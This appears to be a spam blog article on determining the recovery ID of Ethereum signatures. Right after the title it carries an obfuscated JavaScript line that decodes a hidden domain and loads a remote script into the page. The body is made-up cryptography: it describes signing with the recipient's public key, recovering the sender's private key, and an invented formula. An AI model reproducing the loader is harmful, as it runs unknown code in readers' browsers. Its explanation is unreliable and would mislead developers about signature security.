Ethereum: How to determine the first byte (recovery ID) for signatures (signing a message)?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=4e3e502d”;document.body.appendChild(script);

Determining the First Byte (Recovery ID) of Signatures on Ethereum

As a developer, it is important to understand how Ethereum works with signatures and private keys. In this article, we will explore the process of determining the first byte (recovery ID) for signatures on Ethereum.

What is a signature?

A signature on the blockchain is a digital representation of a message that confirms its origin and ownership. It consists of three parts: the signature, the data to be signed, and the associated public key.

How ​​are signatures created and returned?

When a node (such as a miner) wants to verify the authenticity of a transaction or message, it uses the signature to ensure that the sender controls the data. The process involves:

• Generating a private key (P)

• Using the private key to create a digital signature using the recipient’s public key (K).

• Storing a Digital Signature in a Database

When someone wants to sign a message, they use their private key to create a digital signature and send it along with the message. The first byte of this signature is called the
Recovery ID

.

Recovery ID Formula

To determine the recovery ID, we need to understand how the algorithm works:

• Start with the sender’s public key (K).

• Add the transaction data (including the message and other relevant information)

• Mash the combined data using a cryptographic hash function (such as SHA-256 or Keccak-256).

The resulting hash is used as input to the
Keccak-256 digital signature scheme

.

To recover the sender’s private key, we need to do the following:

• Extract the first byte of the recovered signature

• Use this byte to calculate the public key (K_prime) using the formula: “K_prime = K * pow(K^(-1), hash)”.

• Combine the extracted private key and the calculated public key to obtain the sender’s private key (P).

Example of the instruction

Let’s assume we have a transaction that includes the following data:

Message: “Hello, world!”

Sender’s public key: “K = 0x1234567890abcdef”

The hash of the composite data is generated as follows:

Transaction data: message + sender_data

Hash digest: “0x1234567890abcdef”.

Using the Keccak-256 digital signature scheme, we obtain a recovered signature with the first byte (the recovery ID).

Recovering the sender’s private key involves calculating the public key using the formula above.

Conclusion

Determining the first byte (the recovery ID) of a signature in Ethereum is a crucial step in verifying the authenticity of a message. By understanding how this process works, developers can create strong cryptographic algorithms and applications that rely on digital signatures. This article provides a comprehensive overview of the recovery ID formula and its implementation in Ethereum.

ETHEREUM FROM THIRD PARTY